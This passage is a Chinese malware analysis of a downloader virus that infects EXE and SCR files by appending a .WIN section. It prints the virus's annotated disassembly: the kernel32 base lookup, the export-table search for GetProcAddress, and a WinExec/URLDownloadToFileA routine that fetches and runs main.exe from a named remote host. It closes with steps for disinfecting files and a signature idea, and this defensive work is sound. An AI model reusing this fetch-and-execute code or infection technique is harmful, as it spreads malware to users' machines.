二、被感染文件中加入的内容及其行为分析
程序被感染后，加入一个.WIN节，入口点指向其中
最前面0C5的内容是“数据区”，其中可明显看出有意义的部分，包括以下内容（以下地址为相对.WIN节头的偏移）：
***************************************************************************************************
1. 预留空间保存变量（在被感染程序运行时，先运行的代码会向这部分写入数据）
+00H   urlmon的基址
+04H   GetProcAddress函数地址
+08H   LoadLibraryA函数地址
+0CH   FreeLibrary函数地址
+10H   ExitProcess函数地址
+14H   GetModuleHandleA函数地址
+18H   URLDownloadToFileA函数地址
+1CH   WinExec函数地址
2. 用到的字符串常量：
+20H   "LoadLibraryA",0
+2DH   "FreeLibrary",0
+39H   "ExitProcess",0
+45H   "GetModuleHandleA",0
+56H   "WinExec",0
+5FH   "urlmon",0
+66H   "URLDownloadToFileA",0
+79H   "http://ttt.wokaon.cn/main.exe",0
+97H   "c:\Program Files\Common Files\WIN.exe",0
……………………
3. 保存的程序原基址和入口点，代码执行后读取这里，并跳回原入口点执行。要修复被感染文件，也要知道这两个值：
+BDH   程序原ImageBase
+C1H   程序原AddressOfEntryPoint
***************************************************************************************************
+C5H开始，将是加入的代码（病毒主文件内存中的13152BF8到13152D88的内容）
我直接在病毒主文件里面看了，OD里反汇编分析了下，大致如下：
13152C04是入口。
***************************************************************************************************
13152BFD 58              pop     eax                                     ; pop得到EIP，即此句代码位置
13152BFE 83E8 05       sub     eax, 5                                  ; call代码的位置
13152C01 C3              retn
13152C02 8BC0          mov     eax, eax
13152C04 55              push ebp                                     ; 入口
13152C05 8BEC          mov     ebp, esp
13152C07 83C4 EC       add     esp, -14
13152C0A 53              push ebx
13152C0B 56              push esi
13152C0C 57              push edi
13152C0D 8D75 FC       lea     esi, dword ptr [ebp-4]                   ; 程序初始化时，堆栈中的指向kernel32.dll内的一个地址
***************************************************************************************************
接下来一段是花指令：
***************************************************************************************************
13152C10 EB 01           jmp     short 13152C13
13152C12 90              nop                                              ; 原是E8，是加花
13152C13 90              nop
13152C14 90              nop
13152C15 90              nop
13152C16 90              nop
13152C17 90              nop
13152C18 90              nop
13152C19 EB 01           jmp     short 13152C1C
13152C1B 90              nop                                              ; 原是E8，是加花
13152C1C 90              nop
13152C1D 90              nop
***************************************************************************************************
下面才接着又是有意义的：
***************************************************************************************************
13152C1E /EB 0F           jmp     short 13152C2F
13152C20 |8138 4D5A9000 cmp     dword ptr [eax], 905A4D                    ; 找kernel32.dll的MZ头，定位其基址
13152C26 |74 12           je    short 13152C3A                             ; 找到后跳出，这时eax为kernel32.dll的基址
13152C28 |2D 00100000     sub     eax, 1000
13152C2D   ^|EB F1           jmp     short 13152C20
13152C2F \8B4424 14    mov     eax, dword ptr [esp+14]
13152C33 25 0000FFFF     and     eax, FFFF0000
13152C38   ^ EB E6           jmp     short 13152C20
13152C3A 8945 FC       mov     dword ptr [ebp-4], eax                   ; 保存kernel32.dll基址
***************************************************************************************************
通过程序初始化时留在堆栈中的一个指向kernel32.dll内部的地址，循环后退找kernel32.dll的DOS文件头（MZ）所在位置，从而定位kernel32.dll的基址
***************************************************************************************************
13152C3D E8 B6FFFFFF     call 13152BF8                                   ; 定位代码位置
13152C42 2D C5000000     sub     eax, 0C5                                   ; eax=.WIN节头
13152C47 8945 F4       mov     dword ptr [ebp-C], eax                   ; 保存.WIN节头地址
***************************************************************************************************
call到的子函数看前面，通过一个虚假的call来诱使EIP入栈，再pop出来，从而在内存中定位了自己的代码位置，确定了.WIN节头地址，从而在读写前面C5H大小的数据区时就有目标了。
***************************************************************************************************
13152C4A 8B06          mov     eax, dword ptr [esi]                       ; esi=ebp-4，此时为kernel32.dll基址
13152C4C 8B40 3C       mov     eax, dword ptr [eax+3C]                    ; MZ头地址+3C,PE头地址
13152C4F 0306          add     eax, dword ptr [esi]
13152C51 8B40 78       mov     eax, dword ptr [eax+78]                    ; PE偏移78H,DataDirectory开头，输出表地址
13152C54 0306          add     eax, dword ptr [esi]
13152C56 8BC8          mov     ecx, eax                                   ; ecx=输出表VA
13152C58 8B51 20       mov     edx, dword ptr [ecx+20]                    ; AddressOfNames
13152C5B 0316          add     edx, dword ptr [esi]
13152C5D 8B59 24       mov     ebx, dword ptr [ecx+24]                    ; AddressOfNameOrdinals
13152C60 031E          add     ebx, dword ptr [esi]
13152C62 895D F0       mov     dword ptr [ebp-10], ebx                    ; AddressOfNameOrdinals
13152C65 8B59 1C       mov     ebx, dword ptr [ecx+1C]                    ; AddressOfFunctions
13152C68 031E          add     ebx, dword ptr [esi]
13152C6A 895D EC       mov     dword ptr [ebp-14], ebx                    ; AddressOfFunctions
13152C6D 8B41 18       mov     eax, dword ptr [ecx+18]                    ; NumberOfNames
13152C70 8BC8          mov     ecx, eax
13152C72 49              dec     ecx
13152C73 85C9          test ecx, ecx
13152C75 72 5A           jb    short 13152CD1
13152C77 41              inc     ecx
***************************************************************************************************
这里用到PE文件的知识了，通过读取kernel32.dll的PE文件结构，找到并读取其输出表，目的，当然是为了在输出表里检索函数。
***************************************************************************************************
13152C78 33C0          xor     eax, eax
13152C7A 8BD8          mov     ebx, eax                                   ; eax=第几个函数（0开始）此处为循环，目的是为了找到GetProcAddressA函数的地址
13152C7C C1E3 02       shl     ebx, 2                                  ; ebx*4
13152C7F 03DA          add     ebx, edx                                   ; edx=AddressOfNames
13152C81 8B3B          mov     edi, dword ptr [ebx]
13152C83 033E          add     edi, dword ptr [esi]
13152C85 813F 47657450 cmp     dword ptr [edi], 50746547                ; GetP
13152C8B 75 40           jnz     short 13152CCD
13152C8D 8BDF          mov     ebx, edi
13152C8F 83C3 04       add     ebx, 4
13152C92 813B 726F6341 cmp     dword ptr [ebx], 41636F72                ; rocA
13152C98 75 33           jnz     short 13152CCD
13152C9A 8BDF          mov     ebx, edi
13152C9C 83C3 08       add     ebx, 8
13152C9F 813B 64647265 cmp     dword ptr [ebx], 65726464                ; ddre
13152CA5 75 26           jnz     short 13152CCD
13152CA7 83C7 0C       add     edi, 0C
13152CAA 66:813F 7373 cmp     word ptr [edi], 7373                       ; ss
13152CAF 75 1C           jnz     short 13152CCD
13152CB1 8BD0          mov     edx, eax
13152CB3 03D2          add     edx, edx
13152CB5 0355 F0       add     edx, dword ptr [ebp-10]                    ; AddressOfNameOrdinals
13152CB8 0FB712       movzx edx, word ptr [edx]
13152CBB C1E2 02       shl     edx, 2
13152CBE 0355 EC       add     edx, dword ptr [ebp-14]                    ; AddressOfFunctions
13152CC1 8B12          mov     edx, dword ptr [edx]
13152CC3 0316          add     edx, dword ptr [esi]                       ; edx=函数地址
13152CC5 8B4D F4       mov     ecx, dword ptr [ebp-C]                   ; ecx=.WIN段首VA
13152CC8 8951 04       mov     dword ptr [ecx+4], edx                   ; 保存GetProcAddress的VA
13152CCB EB 04           jmp     short 13152CD1
13152CCD 40              inc     eax
13152CCE 49              dec     ecx
13152CCF   ^ 75 A9           jnz     short 13152C7A

***************************************************************************************************
循环查找输出表，找到进程空间中GetProcAddress函数的地址
找到这个，又有kernel32.dll的基址，就可以调用GetProcAddress函数获得kernel32.dll中的其他所需函数的地址了：
***************************************************************************************************
13152CD1 8B5D F4       mov     ebx, dword ptr [ebp-C]                   ; .WIN段首VA
13152CD4 8D43 20       lea     eax, dword ptr [ebx+20]                    ; LoadLibraryA
13152CD7 50              push eax
13152CD8 8B06          mov     eax, dword ptr [esi]                       ;
13152CDA 50              push eax
13152CDB FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress
13152CDE 8943 08       mov     dword ptr [ebx+8], eax                   ; [.WIN+8]=LoadLibraryA的入口VA
…………………………………………
13152D08 8D43 56       lea     eax, dword ptr [ebx+56]                    ; WinExec
13152D0B 50              push eax
13152D0C 8B06          mov     eax, dword ptr [esi]
13152D0E 50              push eax
13152D0F FF53 04       call dword ptr [ebx+4]
13152D12 8943 1C       mov     dword ptr [ebx+1C], eax                    ; WinExec
***************************************************************************************************
就这样相继获得了四个由kernel32.dll导出的函数的地址，保存的位置如下（看前面对数据的说明）：
***************************************************************************************************
+04H   GetProcAddress函数地址
+08H   LoadLibraryA函数地址
+0CH   FreeLibrary函数地址
+10H   ExitProcess函数地址
+14H   GetModuleHandleA函数地址
+1CH   WinExec函数地址
***************************************************************************************************
LoadLibraryA函数有了，现在就可以获取urlmon的基址，进而获取URLDownloadToFileA的入口点地址了：
***************************************************************************************************
13152D15 8D43 5F       lea     eax, dword ptr [ebx+5F]                    ; urlmon
13152D18 50              push eax
13152D19 FF53 08       call dword ptr [ebx+8]                          ; LoadLibraryA
13152D1C 8BF0          mov     esi, eax                                   ; esi=urlmon.dll的基址
13152D1E 8933          mov     dword ptr [ebx], esi                       ; 保存于.WIN段首
13152D20 8D43 66       lea     eax, dword ptr [ebx+66]                    ; URLDownloadToFileA
13152D23 50              push eax
13152D24 56              push esi                                     ; urlmon
13152D25 FF53 04       call dword ptr [ebx+4]                          ; GetProcAddress
13152D28 8943 18       mov     dword ptr [ebx+18], eax                    ; 保存URLDownloadToFileA地址
***************************************************************************************************
千辛万苦获得这些地址，当然是为了调用它们。
这个病毒与前段时间的logogogo.exe系列（其实也就是以前的Delf系列）不一样。
logogogo.exe系列的作法，是将病毒主程序内容整个保存在新加的节里，然后用CreateFileA和WriteFile（也是经过上面这样的方式获取到它们的地址）来释放，并用WinExec运行病毒主程序。
而这个病毒，不愧是“下载者”，连主程序也是直接从网上下载（所以有那个URL地址）。
***************************************************************************************************
13152D2B 6A 05           push 5
13152D2D 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址（看上面数据区）
13152D33 50              push eax
13152D34 FF53 1C       call dword ptr [ebx+1C]                      ; WinExec
13152D37 83F8 20       cmp     eax, 20
13152D3A 73 24           jnb     short 13152D60                             ; 运行成功，就不用从网上再下载，不成功，才会接下来下载
13152D3C 6A 00           push 0
13152D3E 6A 00           push 0
13152D40 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址
13152D46 50              push eax
13152D47 8D43 79       lea     eax, dword ptr [ebx+79]                    ; 病毒主程序远程URL地址（看上面数据区）
13152D4A 50              push eax
13152D4B 6A 00           push 0
13152D4D FF53 18       call dword ptr [ebx+18]                      ; URLDownloadToFileA
13152D50 85C0          test eax, eax
13152D52 75 0C           jnz     short 13152D60                             ; 下载不成功，就不WinExec了
13152D54 6A 05           push 5
13152D56 8D83 97000000 lea     eax, dword ptr [ebx+97]                    ; 病毒主程序本地地址
13152D5C 50              push eax
13152D5D FF53 1C       call dword ptr [ebx+1C]                      ; WinExec
***************************************************************************************************
先试着按主程序本地地址，WinExec运行之，成功了，就OK，不成功（病毒主程序不存在），则用URLDownloadToFileA连网下载主程序，下载成功了再WinExec运行之。
至此病毒的功能完成，最后是“擦屁股”（把因需要Load上来的urlmon.dll再free一次）并退出这段代码，跳回被感染程序的原入口点执行：
***************************************************************************************************
13152D60 8B03          mov     eax, dword ptr [ebx]                       ; urlmon基址
13152D62 50              push eax
13152D63 FF53 0C       call dword ptr [ebx+C]                          ; FreeLibrary
13152D66 8B83 BD000000 mov     eax, dword ptr [ebx+BD]                    ; 原文件基址
13152D6C 0383 C1000000 add     eax, dword ptr [ebx+C1]                    ; 原文件入口点
13152D72 8945 F8       mov     dword ptr [ebp-8], eax
13152D75 8B45 F8       mov     eax, dword ptr [ebp-8]
13152D78 FFE0          jmp     eax                                     ; Go!跳回原文件入口点
***************************************************************************************************
代码的最后，并不是代码中直接调用，可能是本身的消息处理函数（由系统调用），收到WM_QUIT消息之后就会ExitProcess
***************************************************************************************************
13152D7A 6A 00           push 0
13152D7C FF53 10       call dword ptr [ebx+10]                      ; ExitProcess
13152D7F 5F              pop     edi
13152D80 5E              pop     esi
13152D81 5B              pop     ebx
13152D82 8BE5          mov     esp, ebp
13152D84 5D              pop     ebp
13152D85 C3              retn
13152D86 8BC0          mov     eax, eax
13152D88 C3              retn
***************************************************************************************************
至此被感染EXE和SCR文件被加入的代码分析完毕。概括起来它要达到的行为：
尝试调用WinExec运行病毒主程序（.WIN+97H处开始，这里为c:\Program Files\Common Files\WIN.exe）
若运行不成功，则调用URLDownloadToFileA从网上下载主程序，再运行（下载地址于.WIN+79H处开始）
最后跳回原程序入口点执行。

三、被感染文件修复方法简要说明
知道了它的行为，特别是原入口点和基址存在哪里，那修复起来就容易了。
先读最后一个IMAGE_SECTION_HEADER结构，看是否是.WIN节，程序EntryPointer是否指向此节内，如果是，则初步可以判断是被感染了。

定位.WIN节开始地址，读取以下量：
+BDH   程序原ImageBase
+C1H   程序原AddressOfEntryPoint

修改PE文件结构
将IMAGE_OPTIONAL_HEADER32中的ImageBase和AddressOfEntryPoint改回
NumberOfSections减1
抹去增加的一个IMAGE_SECTION_HEADER结构
删除最后一个.WIN节的内容等。

*不同的变种，节名和偏移量肯定有所不同，要靠杀软对被添加的代码取特征了。其中，定位到
***************************************************************************************************
13152D66 8B83 BD000000 mov     eax, dword ptr [ebx+BD]                    ; 原文件基址
13152D6C 0383 C1000000 add     eax, dword ptr [ebx+C1]                    ; 原文件入口点
***************************************************************************************************
这两行代码，找到BD000000和C1000000（不同变种可能不同，但是都是类似的两句）这两个偏移量，就可以找到原ImageBase和AddressOfEntryPoint